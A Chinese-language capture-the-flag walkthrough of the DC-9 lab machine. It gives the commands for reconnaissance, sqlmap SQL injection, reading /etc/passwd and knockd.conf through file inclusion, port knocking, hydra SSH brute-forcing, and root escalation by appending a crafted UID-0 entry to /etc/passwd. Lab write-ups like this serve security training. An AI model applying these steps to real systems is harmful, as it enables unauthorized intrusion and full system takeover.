DC9靶场通关记录
环境搭建
信息收集
扫描确定IP
使用arp-scan扫描网络,确定靶机IP,使用以下命令
arp-scan -l
扫描端口以及服务
使用nmap对靶机进行扫描,确定开启的端口,以及端口对应的服务,使用以下命令
nmap -sV -p- -A 192.168.223.130
指纹识别
尝试访问靶机开放的端口80,是一个网站,可以尝试对靶机进行指纹识别,使用以下命令
whatweb -v 192.168.223.130
目录爆破
靶机上搭建了一个网站,尝试进行目录爆破,使用一下命令
dirsearch -u 192.168.223.130
查找漏洞
尝试搜索框是否注入
- 通过burp抓包发现此处有sql注入点
- 将search的数据设置为1,并保存数据包使用sqlmap
sqlmap -r sql2.txt
在sqlmap进行注入的时候会弹出三个选项,进行以下选择
- sqlmap注入成功,提示是联合注入和时间盲注
当前数据库爆破
- 查看当前数据库
- 查看所有数据库
- 查看当前数据库所有表
- 查看当前数据库的user表的列
- 查看表内容,获取当账号和加密的密码
破解加密密码登录,利用文件包含漏洞
- 破解密码
- 登录网站,多了一个增加的功能,网站下面提示了
file does not exist(文件不存在)
,可能存在文件包含漏洞
- 尝试使用file参数,读取文件/etc/passwd,显示文件有许多用户
对另一数据库爆破
- 查看看到一组用户名和密码
- 对比passwd文件发现
用户名
是一样的
- 将用户名和密码dump出来,分别单独保存到单个文件中
端口敲门knockd
- 信息收集的端口扫描到ssh的22端口的状态是
filtered
,可以端口敲门打开端口 - 尝试文件包含漏洞,查看是否有knockd的配置文件
knockd的配置文件路径
/etc/knockd.conf
- 按照配置文件的端口进行敲门,打开靶机的ssh端口
- 使用nc、nmap、knockd都可以敲门成功
nc 192.168.223.130 7469
nc 192.168.223.130 8475
nc 192.168.223.130 9842
或
apt-get install knockd
knock -v 192.168.223.130 7469 8475 9842
通过ssh进行提权
hydra破解ssh的账号密码
- 通过数据库的账号密码破解ssh的账号密码
hydra -L user.txt -P pass.txt ssh://192.168.223.130
- 尝试登陆,在使用最后一个用户登录时存在一个存放密码的隐藏文件
- 将该组密码加入密码字典重新破解,出现新的一个账户密码
使用新的账号尝试进行提权
- 切换到新用户中fredf
- 尝试提权
sudo -l //出现以root权限执行的文件
- 访问该文件,查看该文件的用法
- 查找文件用法提示的脚本,脚本的功能:
将参数为1的内容写到参数2中
./test.py 1文件 2文件
将1文件的内容写入2文件
创造条件使用该脚本
- 生成md5密码创建类似passwd的文件写入创建的用户
- openssl passwd -1 -salt admin 123456
- -1 :表示采用的是MD5加密算法
- -salt:指定salt值,不使用随机产生的salt。在使用加密算法进行加密时,即使密码一样,salt不一样,所计算出来的hash值也不一样,除非密码一样,salt值也一样,计算出来的hash值才一样。salt为8字节的字符串。
1. openssl passwd -1 -salt admin 123456
2. echo 'admin:加密后的密码:0:0:admin:/root:/bin/bash' >> /tmp/passwd
3. echo "admin:$(openssl passwd 12345):0:0:admin:/root:/bin/bash" >> /tmp/passwd
- 使用该脚本
./test /tmp/passwd /etc/passwd //不成功
sudo ./test /tmp/passwd /etc/passwd
- 查看passwd文件,查看创建的用户是否追加进去
提权成功获得flag
su admin
总结
- 文件包含漏洞,读取配置文件
- knockd端口敲门
配置文件路径/etc/knockd.conf
nc 192.168.223.130 7469
nc 192.168.223.130 8475
nc 192.168.223.130 9842
或
apt-get install knockd
knock -v 192.168.223.130 7469 8475 9842
- hydra破解ssh登录密码
hydra -L 用户名字典 -P 密码字典 ssh://ip
- 利用脚本提权,根据脚本的使用方法构造相关环境进行利用,获取权限
主机渗透DC1-9靶场已经完成 😃